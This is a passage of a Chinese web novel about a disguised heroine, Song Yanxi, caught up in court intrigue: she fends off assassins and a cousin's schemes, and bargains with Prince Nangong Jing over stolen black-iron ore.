“奇怪,不是说在这儿见面吗?人呢?” 宋颜夕在林子里绕了一圈都没见到南宫景,正要往回走,耳边忽然传来一阵异动。 宋颜夕脸色一变,本能地往地上一蹲。 刹那间,一把长剑横着刺进了她身后的桃树上。 很快,五个蒙面黑衣人就从林子深处冲了出来。 “哟,竟然被你躲过去了?宋二姑娘,反应挺快啊。” 宋颜夕握紧手中的灯笼:“知道我的身份还敢对我动手,你们就不怕得罪相府吗?” “相府我们自然是得罪不起,但只要杀了你,谁又能查到我们身上呢?” “你们就这么肯定,杀得了我?” 那些杀手像是听到什么笑话似的,一个个笑得前俯后仰: “听说宋家二姑娘是从乡下来的,果然是愚蠢至极啊。” “像你这种手无缚鸡之力的女人,我一根手指头就能碾死。” “哥几个还等什么?赶紧动手吧?” 然而那些人的笑声并没能维持太久,当他们手中的长剑再一次逼近宋颜夕的时候,身体却不受控制地僵住了。 “这是怎么回事?” “你对我们做了什么?” 剑锋在距离宋颜夕脖子三寸的地方停下,任凭他们怎么使劲,都无法再前进分毫。 “做了什么?” 宋颜夕直接夺过其中一人的剑:“就你们这样的脑子也好意思出来当杀手,没听说过,蠢货死于话多吗?” 最后一个音符落下,她猛地抬起右手一划。 四个杀手的脖子留下了整齐的伤口,他们下意识想要抬手去捂,但只是挣扎了两下便倒在地上没了呼吸。 “现在,就剩你一个了。” 宋颜夕将手中剑横在最后一个杀手脖子上,甚至,还借着他肩膀上的布料擦了擦剑上的血。 “本姑娘人美心善,给你一个选择。你是要站着死,还是,跪着死?” 那杀手吓得直发抖:“我,我不想死。” “不想死啊,那就要看你能为我做些什么了?毕竟,本姑娘从不做亏本的买卖!” “只要你不杀我,你想知道什么我都告诉你。其实,我们也是受雇于人,雇我们的人就是......” 眼看就要吐出那个名字,那杀手忽然喷出一口血。 紧接着,他的身体就像是被侵蚀一般,迅速腐烂。 这一切发生得太快,宋颜夕想要救他已经来不及。 “好厉害的毒!” 宋颜夕盯着地上那滩血水,将手中长剑重重甩在地上。 今日之约知道之人甚少 要杀她的人,难道是 南宫景? 第55章:再见战王 南宫景抵达桃花林的时候,并没有见到宋颜夕。 “宋二姑娘该不会爽约了吧?她胆子也太大了,竟敢......” 南宫景打断他的话:“不,她已经来过了。” “来过了?” 段恒仔细观察四周,随即大惊:“这是,血腥味,莫非宋二姑娘已经,遇害了?” 南宫景依旧戴着那蛟龙面具,段恒看不出他的神色。 只见他随手往某个方向一指,冰冷的声音撞入耳中:“那个方向,去查。” 没过多久,段恒就挖出了四具尸体。 看到那坑里没有宋颜夕的尸体,南宫景松了一口气。 “一剑割喉,杀他们的人是个高手。”段恒蹲在地上检查那四具尸体,最终得出结论。 南宫景却摇了摇头:“这可未必。” 他的目光落在桃林深处,勾起的嘴角泄漏了他的情绪:“或许,是一只爪子锋利的小野猫呢?” “小野猫?” 段恒不解。 这么明显的剑伤,王爷怎么会说是被野猫挠的呢? 正要请示下一步计划,却见南宫景已经迈开步子朝那漆黑的林中走去。 “你说是吧?宋二姑娘?” “战王殿下好眼力,臣女躲得这么远都被你发现了。” 话音刚落,就见宋颜夕拎着一只灭了的灯笼缓缓从黑暗中走出。 借着月光,可以看见她衣角沾了些猩红的血迹。 段恒不可置信地看着宋颜夕:“这些人,都是宋二姑娘杀的?” 宋颜夕连忙摆手:“臣女只是个手无缚鸡之力的弱女子,哪儿能杀得了这些杀手呢?” “臣女来的时候,这些黑衣人不分青红皂白就拿刀往我身上砍,但是后来,又来了一个黑衣人。是那个黑衣人救了臣女。” “那黑衣人是何身份?” “这个,臣女也不知,救了我之后,那黑衣人便离开了。” 南宫景观察着她的表情:“尸体是你埋的?” 宋颜夕点头:“这些尸体若是被发现,定然会引起不必要的麻烦。臣女才刚入京,不想惹祸上身。” “你倒是胆大。” 宋颜夕佯装害怕,抱着胳膊,颤抖着说道:“臣女当然害怕啊,可是,臣女更想活下去。” 南宫景扫了她的一眼,倒是没再继续追问。 “对了王爷,您不是约我戌时见面吗?怎么来得这么晚?” “戌时?” 南宫景:“本王与你约的分明是亥时。” 此话一出,两人都沉默了。 宋颜夕并不认为南宫景会在这种事情上撒谎。 他若要杀她,根本没必要这么麻烦。 难道,是那郑嬷嬷故意调换了信件? 南宫景显然也想到这一点,和段恒低语几句,段恒在那几具尸体上洒了化尸粉之后便离开了。 看着那四具尸体瞬间化为血水,宋颜夕默默后退两步。 这男人危险得很,还是离远一点为妙。 “宋章那边,如何了?” 宋颜夕想了想,答道:“臣女回府后,只见过父亲一面,那日,楚王也来了相府。” “楚王?他去相府做什么?” “应该是与父亲谈了些什么,但那日楚王来了之后,臣女便被遣出门去,并未听到他们的谈话内容。” 南宫景单手背在身后,食指与拇指轻轻揉捏,上下打量着宋颜夕。 在这件事上,这女人倒是没有说谎。 但那日她与紫翎的对话却让他很是在意。 她,到底是不是玄弥? 见南宫景盯着自己,宋颜夕藏在袖子里的银针动了动。 这死贱男眼神不对啊,该不会...... “听说,宋章给你指了一门婚事?” 这话题转得猝不及防,宋颜夕一下子没反应过来。 “啊,是的。” 她点了点头,补充了一句:“对方是安远侯府世子,据说,是个顶好的人。” “柳如风?” 南宫景抬起腿往前走:“倒是个不错的联姻对象,只可惜啊,活不长了。” 活不长? 宋颜夕追上去,问:“王爷这话是什么意思?” 她就说姜淑萍怎么可能给宋彩衣安排这样好的婚事呢,原来,这安远侯世子是个短命鬼啊。 南宫景并没有回答她的问题,而是反问:“你那日诈死,便是想逃婚吧?” “臣女不知王爷在说什么,安远侯府高门大户,京中不知有多少贵女争着抢着要嫁给世子呢。” “只要你完成本王交代的任务,本王可以为你解决这桩婚事。” 宋颜夕眼睛一亮:“此话当真?” 南宫景转头看向她:“不过,若是宋二姑娘不想放弃安远侯府这高门大户,本王也可助你一臂之力,将这婚期往前再提一提。” “绝对不行。” 为表忠心,宋颜夕提高音量:“臣女一定赴汤蹈火,完成王爷交代的任务。还请王爷应允,事成之后,放我自由。” “好,本王要你,将宋章最宝贝的那个盒子,偷出来。” 回到房间之后,宋颜夕一直在想南宫景交给她的任务。 “宋章的那个宝贝盒子?到底长什么样呢?” 当天空泛起鱼肚白,宋颜夕猛地一拍脑袋 “那盒子长什么样跟我有什么关系?难道,本帝真要乖乖替那死贱男卖命吗?” 打定主意后,宋颜夕安然入睡。 没过多久,房门就被踹开了。 听到动静,宋颜夕猛地坐起身,抓起身下的枕头就往门口扔去:“敢踹本帝的门,想死吗?” “宋彩衣,你敢打本小姐!” 听到宋娇娇的声音,宋颜夕这才睁开眼。 结果,刚抬头就看到宋娇娇顶着一只熊猫眼瞪着她。 额 这寺庙的枕头,就是结实啊! “打你就打你咯,谁让你踹我门的?” 宋颜夕打了个哈欠,慢悠悠下床穿衣:“要是再有下次,砸向你的可就不只是枕头这么简单了。” “你!” 宋娇娇正要呵斥,却被另一道轻柔的声音打断:“四妹妹稍安毋躁,二妹妹也不是故意的。” 话音刚落,便见宋婉儿拖着长长的裙摆走了进来。 宋颜夕腓腹:“来山上还穿这么长的裙子,也不怕摔个狗吃屎。” “瞧瞧,还是大姐姐懂礼数,你啊,靠边站吧。” 宋颜夕走向宋婉儿,经过宋娇娇身边的时候,还装作不经意撞了她一下。 “宋彩衣!” 眼看宋娇娇又要炸毛,宋婉儿赶紧把她拉到一边:“四妹,别忘了咱们此行的目的。正事要紧。” 与她说了几句话之后,宋娇娇果然不再和宋颜夕呛声。 宋婉儿朝宋颜夕笑了笑:“时辰不早了,二妹妹,咱们这便去礼佛吧。” “好啊,大姐姐先请。” 看着走在前面的二人,宋颜夕摸了摸下巴。 这俩人,又憋着什么坏呢? 正想着,眼前忽有一道光亮闪过。 顺着光源看去,宋颜夕忍不住眯起眼。 他怎么会在这儿? 第56章:黑铁矿 “磨磨蹭蹭干什么呢?” 宋娇娇的呵斥声拉回了宋颜夕的视线。 她甩了甩衣袖,双手抱胸:“我还就慢慢走了,你能奈我何?” “好了好了,你们别再吵了。母亲和二位婶婶还等着咱们呢。” 宋颜夕三人离开之后,柱子后走出一人。正是摘下面具的南宫景。 “王爷,您当真要隐瞒身份接近那位宋二姑娘吗?您若是怀疑她,属下可以把她抓过来严刑拷问......呜呜呜......” 段恒的话还没说完,嘴就被赶来的林昊捂住了。 “林昊,你捂我嘴干什么?” 林昊偷看了南宫景一眼,压低声音说道:“我可是为你好。” 南宫景无暇理会他们的互动,他朝林昊勾了勾手,问道:“那件事查得如何了?” “果然如王爷所料,吕刚还活着。这是他的投诚信。” 林昊将一封书信交给南宫景,南宫景快速扫过,嘴角扬起讥讽的弧度。 “果然是个老狐狸,你且与他周旋,务必要他把名单吐出来。” “属下遵命!” 林昊领了命令离开,南宫景这才将视线转到段恒身上:“自己去领二十军棍。” 段恒如遭雷劈! “我说错什么了吗?” 然而南宫景并没有回答他的疑问,当段恒再一次抬头的时候,南宫景已经消失在视线里。 另一边,宋颜夕规规矩矩地在庵堂礼佛。 当她从庵堂出来,已经是一个时辰之后。 “竟然没给我使绊子,难道是我想多了?” 宋颜夕看了宋娇娇一眼,正好看到她眼中一闪而过的讥讽之色。 “忙了一上午,大家都还没用早膳呢,宋彩衣,你去给我们弄点吃的。” 宋颜夕一甩衣袖:“你怎么不去?” “本小姐千金之躯,怎么能干这种粗活?你不是乡下来的吗,做顿饭而已,难不倒你吧。” “谁说乡下来的就一定要会做饭?” 宋颜夕指了指宋娇娇身后的丫鬟小翠:“既然这么饿,怎么不让你丫鬟去?” “那怎么可以?我们带来的丫鬟,那都是要近身伺候的。” 宋娇娇的话还没说完,宋颜夕就背着手离开了:“那就等着饿死吧。” 为了站稳脚跟,她可以和姜淑萍演戏,可并不代表她就愿意让宋娇娇骑到她的头上。 见她这般做态,宋娇娇气得跳脚:“宋彩衣,你给我站住。” 宋颜夕掏了陶耳朵,转身朝另一个方向走去。 没过多久,就在一棵祈福树下见到了一身黑衣的南宫景。 “竟然还跟到这儿来了?何二哥,你此番进京到底意欲何为?” 南宫景将一个祈福袋挂到树上,双手合十默念了几句,这才转身看向宋颜夕。 “来都来了,宋姑娘不许个愿?” “有什么好许的?” 看着那满树的红色祈福袋,宋颜夕的目光毫无波澜:“我的命运,自然由我自己主宰。与其求神拜佛,不如多行善事。” “你这见解,倒是有趣。” 南宫景四下看了看,然后,指着不远处的一条小路对她说道:“你如今身份特殊,若是被人瞧见你我私下见面,怕是不妥。” 宋颜夕明白他的意思,率先朝那条林荫小道走了过去。 确保周围没人之后,宋颜夕才再次开口:“说说吧,找我何事?” “自然是天大的好事。” 南宫景从怀中掏出一物,递到宋颜夕跟前:“你可知,这是何物?” 宋颜夕拿起那东西瞧了瞧,波澜不惊的目光中透露出些许喜悦。 “这是,黑铁石!” 黑铁石,是一种天然矿石,高温提炼后,可以铸造上好的兵器。 前些年西菱战事吃紧,与东越交涉处于下风,便是因为他们在兵器上占了上风。 据她所知,盛产黑铁石的地方并非东越,而是北凉。 然而北凉虽有黑铁矿,锻造技术却极差,恰好东越有能人巧匠深谙此道,两国便达成交易。 北凉为东越提供矿石,而东越则将铸造的兵器的一成归还北凉。 宋颜夕看向南宫景,这男人此番拿着黑铁石到她面前,到底是什么意思? 莫非,他们这群山贼也打起黑铁石的主意了? “宋姑娘果真见多识广。” 听着南宫景意有所指的语气,宋颜夕呼吸一窒。 “我……在我娘留下的手札中见过。这,是黑铁石吧?” 再次从她口中听到那位已经不在人世的“母亲”,南宫景忍不住扯了扯嘴角。 这女人,现在是连借口都懒得找了。 “没错,这就是黑铁石。宋姑娘既然在您母亲的手札中见过此物,想必知道此物的珍贵吧?” “这是自然。我倒是很好奇啊,何二哥一介山贼,是从哪里得到如此珍贵的宝贝的?” 南宫景轻笑一声:“你都说我是山贼了,自然是,抢来的。” 最后三个字,他几乎是贴在宋颜夕耳边说的。 宋颜夕后退一步,揉了揉麻麻痒痒的耳根:“你这话说得倒是大方。” “这又何妨,你我之间也算知根知底。此事,断然没有瞒着你的必要。” 南宫景将那黑铁石收起来,随即又说了一句:“此番来找宋姑娘你,是有一桩生意想与你做做。” “和黑铁石有关?” “没错。我索性和你透个底,我当初之所以去骊阳城,便是为了这黑铁石。而且,这件事,吕刚亦牵涉其中。” 宋颜夕沉思片刻:“你的意思是,丢失的黑铁石在骊阳城?” “并非如此。” 南宫景迈开步子往前走,示意宋颜夕跟上。 “还记得当初吕刚将我错认成四公子的事吗?当时,我与他说了一句话。” “自然记得,你当时说的是,三月十八,立安堂。” “三月十八,我途经立安堂,撞见了一桩灭门惨案。” 宋颜夕脚步一顿:“灭门?” “没错,被杀的那家姓金,是东越有名的锻造师傅。我从火场中将金师傅唯一的孙儿救出,为了报恩,金师傅临终前向我透露了一个消息。” “什么消息?” 南宫景看向不远处的佛堂,轻轻吐出几个字:“有人倒卖黑铁,朝廷送到锻造厂的黑铁石被调包了。而幕后之人,和上京城的某位高官有关。” 宋颜夕忽然闪过一个不好的念头。 他口中的这位高官,该不会就是...... 第57章:宋娇娇的计划 “看你这表情,是猜到了?你我联手,找到这批货倒卖出去如何?” 听着南宫景轻飘飘的语气,宋颜夕转身就走:“猜到也好,没猜到也罢,这些事情都与我无关。” 她可没打算掺和到东越的这些破事里,如今她的目标只有一个,尽快摆脱这宋家二姑娘的身份,早日回到西菱。 “你不是喜欢钱吗?若这买卖做成,你我五五分账,如何?” 宋颜夕并没有停下脚步:“这么好的买卖,何二哥还是找别人吧。我还想多活两年呢。” “我原以为宋姑娘有胆有谋,这才来找你合作的,看来是我看错你了。这才多久没见啊,你竟变得这般畏畏缩缩,难不成真的是被这上京城的荣华富贵迷了眼?你可别忘了,你根本就不是真正的宋彩衣。” 宋颜夕闻言,终于转身看向他,平静的眸子里看不出情绪波动。 “你是在,威胁我?” “这你就误会我了。” 南宫景一步一步走向她,将她抵在树下,目光掠过她藏在袖子里的手:“这个啊,不叫威胁,顶多只能算各取所需。” 说着,他伸手弹去宋颜夕肩膀上的落叶:“放心吧,有我在,你死不了的。只要你我精诚合作,即便没了那宋二姑娘的身份,照样可以有享不尽的荣华富贵。” 宋颜夕将他往外推了推:“你如此笃定,莫不是知道那些黑铁石藏在何处?” “是,也不是。” “根据我从吕刚那儿得来的情报,那批被盗走的黑铁石被秘密运走,而且,被分别运往五个不同的地方。运送之人完成任务后都被灭口,是以,除了那个幕后之人,根本就没人知道黑铁石被运往何处。” 听到这儿,宋颜夕却是笑了:“这么说的话,你根本就什么都不知道啊。还与我谈什么合作?” “自然也不是全无消息。我的人已经找到吕刚了,从他口中可是套出不少好东西。” 宋颜夕眸光一动:“吕刚竟然还活着?” 吕府不是都被山贼洗劫一空了吗? 看着南宫景那胜券在握的模样,宋颜夕忽然悟了:“不对,从那日之后,吕刚就一直在你的监视之下吧?你当初故意让人烧了吕府,制造吕氏父子死亡的假象,就是为了囚禁吕刚,逼问线索?你这玩得也太大了,那姓吕的虽然不是什么好人,但高低是个官。你就不怕被吕刚背后的人知道了,死无全尸啊?” 南宫景一脸无所谓的模样:“富贵险中求,这样的道理,宋姑娘不会不懂吧?” “我倒是没看出你这么爱财呢。说吧,要我做什么?” 南宫景朝她勾了勾手指,宋颜夕虽然心中警惕,却还是凑了过去。 “什么?你也让我偷宋章的盒子?” “也?还有别人打这批黑铁石的主意?告诉我,那个人是谁?” 宋颜夕轻咳一声:“没,没谁。我就是好奇,这宋章怎么这么会买,随手在拍卖行拍了个盒子,那里头就藏了黑铁石的线索图。” 怪不得她那死对头会让她去偷一个破盒子,原来,也是在打黑铁石的主意。 “谁知道呢?或许,那幕后之人与宋章脱不了干系。” 见南宫景没再追问,宋颜夕这才吐出一口浊气。 那死贱男阴险得很,她这便宜夫君还是少招惹那种人为妙。 “行了,我会留意的。有消息了我会与你联系。” 南宫景又和她说了几句才跳上墙头离开,临走之前,将一枚骨哨塞到宋颜夕手中。 “吹一下就能赶过来?真当本帝是没见过世面的小丫头呢?” 宋颜夕随意将骨哨塞到袖袋里,刚从小道里钻出来,就看到宋娇娇插着腰站在那儿。 “宋彩衣,你鬼鬼祟祟躲在里面干什么呢?” “谁鬼鬼祟祟了?” 宋颜夕一甩衣袖,糊了宋娇娇一脸树粉:“我啊,就是觉得这地方曲径通幽很是舒服,故而在里面待得久了一点。” “哎呀,什么脏东西,你离我远点儿。” “四妹妹是在说,我脏吗?” 宋颜夕一边说,一边往宋娇娇身上靠:“可是我觉得我身上挺干净的啊,不信,你凑近些看清楚。” “小翠,还愣着干什么,赶紧把这上不得台面的下贱东西拉下去。” 眼见宋颜夕整个人都要挂在宋娇娇身上,小翠赶紧上前拉住宋颜夕,手中的银针毫不犹豫地朝宋颜夕手腕上刺去:“二姑娘,得罪了。” 小翠的手才刚碰到宋颜夕的胳膊,宋娇娇却忽然“哎呀”一声倒在地上。 “小翠,你竟敢推我?” 看着宋娇娇像是要杀人一样的眼神,小翠吓得赶紧跪倒在地:“姑娘,小翠冤枉啊,是她,一定是她推了......” “啪!” 话还没说完,小翠的脸上就多了一个手掌印。 宋颜夕慢条斯理收回手,方才还一副人畜无害的眸子里顿时闪过一道冷芒:“区区贱婢,竟敢污蔑主子,是嫌自己活得太长了吗?” “奴婢没有撒谎,分明就是二姑娘你......” 四目相对的那一刻,小翠忽然觉得整个人都像是被树藤缠住,差点儿喘不上气来。 当那股窒息感散去的时候,宋颜夕已经迈着优雅的步子走远了。 她将手捂在心口,豆大的汗珠顺着脸颊流下。 不过是个乡下来的村姑,怎么会有这么大的气场? “贱婢,还不快扶本小姐起来。” 宋娇娇的呵斥声将小翠的神志拉了回来。 她着急忙慌地将宋娇娇扶起,迎面就被宋娇娇扇了两个巴掌。 小翠咬牙忍住,将脑袋低垂下去不敢再看宋娇娇。 “刚刚,可得手了?” 小翠正要答话,余光扫过地上的那带着血珠的银光时却又改口:“已经按照姑娘的吩咐,将淬了药的银针刺入二姑娘手腕上。” “她没发现吧?” 小翠赶紧摇头:“奴婢下手的速度很快,痛感也就如蚊虫叮咬一般,二姑娘肯定发现不了。” 宋娇娇这才满意地扬起下巴。 “宋彩衣啊宋彩衣,你就得意吧。我倒要看看,一个失去贞洁的女子还怎么嫁入侯府。” 第58章:被窝里的人 用午膳的时候,宋颜夕便一副神情恹恹的模样。 草草扒了两口饭之后,宋颜夕便找了个借口回房了。 没过多久,两道身影鬼鬼祟祟摸进了她的房间。 ...... “你说什么?庵堂竟有外男闯入?” 姜淑萍原本正坐在院子里饮茶,听了宋娇娇的话,手中的杯子瞬间砸落在地上。 “是啊,据说是寺里收留的几个乞丐。那乞丐不懂规矩,不知怎么就爬墙进来了,庵堂的了无师太听说此事,已经亲自带人搜捕。我一听这事儿,就赶紧过来向大伯母和母亲报告。” 一旁的刘云香和林秋雅也是一脸震惊。 “径山寺向来寺规森严,男女香客的居所还隔着一条河呢,怎么会有外男闯到这庵堂之中?” “乞丐?难道,是来偷东西的?” 不知想到什么,姜淑萍猛地一拍桌子:“彩儿和嘉儿呢?” 林秋雅这才后知后觉地站了起来:“嘉儿她,她说想再去拜拜菩萨,这会儿应该在佛堂呢。大嫂,嘉儿不会出事吧?不行,我得去找找。” 担心女儿出事,林秋雅也顾不得许多,提拉着裙摆就往外跑。 姜淑萍看了她一眼,转头问道:“彩儿可还在房中?” 刘云香扶了扶鬓上的钗:“是的吧,用午膳的时候,那丫头便说不舒服。想必是在房中歇息。大嫂你也别太着急,不就是跑进来几个乞丐吗?还能吃了那乡下丫头不成?” 捕捉到姜淑萍眼中的警告之色,刘云香这才慢悠悠站了起来:“应该,不可能吧?” 一旁的宋婉儿挽住姜淑萍的手腕:“母亲莫要担心,二妹妹吉人自有天相,肯定没事的。” 话虽这么说,宋婉儿的脸上还是闪过一丝担忧。 倒不是她担心宋颜夕的死活,而是她们好不容易把那丫头弄回京,若是就这么折在这儿,谁替她嫁给那个病秧子? 当一行人急匆匆赶到宋颜夕房门口的时候,正好听到里面传来娇俏的声音。 “哎呀,你轻点儿。都弄疼我了。” 宋娇娇脸上闪过喜色,却还是装作着急的样子匆匆推开了门:“二姐姐这是怎么了?是不是身体不适?” 推开门的那一刻,四人顿时傻眼。 厢房的床铺之上,被子高高隆起,床上之人将整个脑袋埋在被子里,虽然看不清里面的情况,但从外形上看,那被子里躺着的绝对不止一个人。 “天呐,二姐的床上是藏了人吗?该不会是......那些乞丐吧?” 最后几个字,她虽然说得很轻,却还是落入了每一个人的眼中。 姜淑萍一听这话,差点儿没一巴掌扇到宋娇娇脸上。 以她多年管理后宅的经验,若还瞧不出这事儿是宋娇娇在背后捣鬼,她这相府的当家主母也就可以不用做了。 “娇娇休要胡说,你二姐只是身子不适,你们都退下,莫要打扰彩儿歇息。” 见姜淑萍有意袒护,宋娇娇顿时脸色一变:“大伯母,你这心偏得也太厉害了吧。我倒要看看,二姐姐得的到底是什么病。” 眼见她就要上前掀开被子,宋婉儿立刻拉住她的手腕。 “四妹,母亲和三婶都在这儿呢,不得无礼。” “大姐姐你别拦着我,我也是关心二姐啊。” 宋娇娇怎么会放弃这大好的机会,朝刘云香使了个眼色。 刘云香会意,佯装拉住宋娇娇:“哎呀娇娇,你可别任性。听你大伯母的,赶紧出去。” 结果,她却忽然脚下一滑,朝床铺那边栽了过去。 这一摔,十分巧妙地扯下了床上的被褥。 “宋彩衣,我看你这次还怎么狡辩!” 抬头的那一瞬间,宋娇娇的声音戛然而止。 “怎么是你?” 不仅是宋娇娇,就连其他三个人也是一脸蒙。 谁能告诉她们,和宋颜夕躺在一个被窝里的,为什么会是宋嘉? “嘉儿见过大伯母,三婶。” 被四个人盯着,宋嘉脸色一红,赶紧从床上跳了下来。 这一跳,又觉得自己的行为有失大家闺秀的教养,刹那间,脸色更红了。 “嘉儿,你不是在佛堂吗?怎么在彩儿的屋里?” 见床上之人是宋嘉,姜淑萍可算是松了一口气,连带着看宋嘉的眼神也带了几分温和。 “嘉儿原本是在礼佛的,忽然想起二姐身子不适,便想着前来探望一二。” 宋娇娇语气不善:“探病而已,怎么就爬到床上去了?” “这个......” 宋嘉偷偷看了宋颜夕一眼,一副欲言又止的模样。 宋颜夕见此,掀开被子从床上跳了下来:“算了,还是我来说吧。” “彩儿听说庵堂里有外人潜入,心中害怕,这才让三妹妹陪我一起睡的。谁曾想,竟让四妹误会了。” 宋颜夕一边说,一边看着宋娇娇:“如今我与三妹都无恙,四妹妹可安心了?” 宋娇娇握紧拳头,满眼的不甘心:“那你刚才又说什么轻点?不是摆明了让人误会吗?” “这你可就错怪二姐了。” 宋嘉拉起宋颜夕的胳膊,露出她一小截手腕:“二姐姐身上有伤,我方才不小心碰到她的伤口,姐姐才让我轻点儿的。” 看着宋颜夕手腕上的淤青,姜淑萍沉了沉眸子:“好端端的怎么受伤了?” “走路的时候不小心摔了一跤,让母亲担心,是女儿的错。” 宋颜夕应对有策,宋娇娇即便是心中不满也不敢再房间继续待下去。 临走的时候,姜淑萍把宋嘉也带走了。 等到所有人都离开之后,宋颜夕这才将房门关上。 一转身,笑眯眯的脸顿时冷若冰霜。 她将地上的被褥捡起来扔回床上,伸手从床底下拽出两个衣衫褴褛的男人。 “本帝的房间也敢闯,真是不知死活。” 她从怀中掏出一把匕首,对着那两人上下比划,似乎在计算从哪个角度切下去最美观。 正当她准备动手之际,窗户却忽然被人打开了。 “你怎么来了?” 看着南宫景从窗外跳进来,宋颜夕眼中闪过警惕之色:“不对,你来多久了?刚才的事情你都看到了?” 南宫景没有回答她的问题,而是上前夺下她手中的匕首:“这两个人若死在这儿,对你不利。你若信得过我,便交给我解决。” 正在此时,门口忽然传来一阵脚步声。 “耳坠子肯定是掉在二姐房里了,我这就去看看。” 宋娇娇的话音刚落,门就被重重推开。 第59章:紫翎的接近 “宋娇娇,你去而复返到底是什么意思?” 宋娇娇还没看清屋内的情况,就被一堵人墙挡住了视线。 宋颜夕比她高,往她面前一站,宋娇娇就看不清屋内的情况了。 而且宋颜夕动作很快,几乎是在说完那句话的时候就把宋娇娇推出屋外。 因为太过用力,宋娇娇的脚绊到门槛,直接摔了个四仰八叉。 “宋彩衣,你又推我!” “推你怎么了?别以为我看不出来这一切都是你在背后耍阴招。想要陷害我嫁入侯府是吧?我告诉你,下辈子吧。” 宋颜夕可不惯着宋娇娇,说话的时候,甚至还一脚踩在她身上。 “你若是安分守己,那咱们就相安无事。但你若是故意找茬,可就别怪我礼尚往来了。” “你这个村姑,竟然敢……” “我有什么不敢的?反正我一无所有,大不了和你鱼死网破。但你就不一样了,宋娇娇,你想要的东西太多了,与其在这儿跟我斗,还不如想想怎么保住现在拥有的。你真以为,母亲不知道你的心思吗?” “你什么意思?” “好了,时间不早了。你啊,该干嘛干嘛去。再赖在我门口不走,我可不保证会对你做些什么。” 宋颜夕收回脚,转身关门。 “砰!” 关门声很重,吓得宋娇娇一个哆嗦。 “果然是乡下来的,竟然如此粗鲁。她怎么能,用脚踩我呢……” 宋娇娇狼狈地从地上爬起来,临走还不忘对着那扇紧闭的房门放狠话。 “宋彩衣,你给我等着。本小姐一定会把今天丢掉的面子找回来。” 屋内,宋颜夕透过门缝看着宋娇娇离开。 “宋姑娘的身手,还是一如既往的矫健。” 宋颜夕转身看着南宫景:“你怎么还没走?” “不急,我有些渴了。宋姑娘,不介意请我喝杯茶吧?” 还不等宋颜夕回答,南宫景继续自顾自在凳子上坐了下来。 而且,十分顺手的给自己斟了一杯茶。 “你倒是一点儿都不客气。” “咱俩都这么熟了,跟你客气,不是不给你面子吗?” 宋颜夕在他对面坐下,掏出帕子擦了擦手:“喝完茶赶紧走。” 谁知道那些人会不会又忽然杀回来。 “侯府的那桩婚事,你有何打算?” 宋颜夕想都不想就回答:“还能怎么打算?当然是,安心待嫁,这么好的婚事我没有道理拒绝吧。” 南宫景喝茶的动作一顿,然后又恢复了一贯的神情。 “如此看来,我的担心倒是多余的了。” “担心我?何二哥莫不是听说了什么?那侯府……” “侯府高门大户岂是我能打听的,我不过是误以为你是被迫嫁人,想着相识一场,帮你一把罢了。” 他放下水杯,转身提拉着那两个昏迷不醒的乞丐:“人我就带走了,下次见面,希望能从宋姑娘这儿听到好消息。” “下次怎么找你?”这话是宋颜夕问的。 南宫景动作一顿,然后说道:“只要在城南的祥云客栈挂起红灯笼,我自会来找你。” 说完这句话之后,南宫景不再停留,转身从窗户上跳了出去。 宋颜夕看着桌上的杯子,喃喃自语:“这男人什么意思?不希望我嫁入侯府?” 想着想着,她忽然笑了。 “我懂了,这家伙是担心我嫁人之后,没人替他找那个盒子吧。” 黑铁石?? 宋颜夕将手中的帕子扔到地上。 有了这个,倒是可以为她的复仇之路提供助力。 庵堂的人找到那两个乞丐的时候已经是三天后的事了。 人是从河里捞起来的,据说被发现的时候,整个人都被泡肿了。 听到这个消息的时候,宋颜夕面不改色,倒是宋娇娇白了脸。 因为出了这档子事,姜淑萍决定提前回府。 回府路上,宋颜夕捡了一个饿晕过去的女乞丐。 姜淑萍原本想送些吃食就把人打发走,没想到,那小乞丐死活都要跟在宋颜夕身边,报答她的救命之恩。 就连宋颜夕也很不愿意让她留下来。 反倒是宋娇娇母女明里暗里撮合。 最终,她们还是把小乞丐带回相府。 “怎么不见郑嬷嬷?” 回去后,宋颜夕发现郑慧已经不在府中。询问后才知道,就在她抵达径山寺的第二天,郑慧被发现溺死在池塘里。 毕竟是从大长公主府里出来的人,宋章没敢耽误,当天就把尸体送出了府。 据说,还是公主府的人亲自敛的尸。 对于郑慧的死亡,何花倒是没什么表现,每日依旧给宋颜夕上课。 自从山上那件事之后,宋娇娇也安分了许多,回来好几天都没来找宋颜夕的麻烦。 “暴风雨前的宁静啊。” 宋颜夕坐在院子里,看着屋前那棵干枯的梨树发呆。 忽然,眼前多了一杯茶。 宋颜夕看向那个梳着丫鬟发髻的女子。 她生得倒是水灵得很,只可惜,额头上有一道一指粗的疤痕。 她叫小怜,正是回府路上救下来的小乞丐。 “你到底是什么人呢?让我猜一猜啊,是三房派来监视我的?” 宋颜夕端起杯子抿了一口,目光幽幽定在小怜身上。 “这么久不见,你这泡茶的技艺,可是生疏了。苦涩得很。” 听到这句话,方才还低眉顺眼的小怜猛地抬头盯着宋颜夕。 “这么惊讶做什么?虽然你易了容,但要想逃过我的眼睛,可没这么容易。” 她将杯子扔到小怜手中,起身朝屋内走去,“说吧,接近我有什么目的?小凤凰。” 进屋之后,小怜撕开脸上的人皮面具。 那清冷美艳的脸,不是紫翎又是谁。 宋颜夕嘴角带笑,她就知道,她带出来的人,没这么容易死的。 “我,想跟着你。” 宋颜夕看向紫翎:“为何?” “你说你此次来东越是为了执行任务,我可以帮你。” “帮我?” 宋颜夕靠在柱子上,双手抱胸:“若是帮我,你自己的任务又该如何?” “我……” 紫翎咬着唇,半晌才轻轻说道:“我没有任务,所以,可以留下来帮你。” “你不是领了任务出来的?那为何要刺杀大长公主?” 提到这件事,紫翎眼中闪过一刀杀气:“我杀她,自然是为了替陛下出气。” 这话倒是让宋颜夕不理解了。 “我与……咳咳咳,陛下与大长公主素无交集,你出的是哪门子气?” “自然是因为,她最疼爱的弟弟南宫景,杀了咱们陛下。” 一听这话,宋颜夕差点咬到舌头:“你说什么?南宫景杀了陛下?” 第60章:找茬,林霜 “没错,这是摄政王亲口告诉我的。南宫狗贼杀我陛下,我便是拼了这条命也要让他尝尝失去至亲的痛苦。” 宋颜夕扯了扯嘴角:“那你怎么不直接宰了那死贱男?” “死贱男?” “哦,就是南宫景。” 紫翎垂下脑袋:“我试过,可是,失败了。” 说着说着,她忽然握紧拳头:“虽然我杀不了他,但我也不会让他好过,我听说南宫狗贼与大长公主感情很好,只要我杀了那个老女人,一定能挫一挫南宫狗贼的锐气。” “小凤凰啊,我很理解你想要报仇的心。而且我也很讨厌那个男人,不过,陛下确实不是南宫景杀的。” 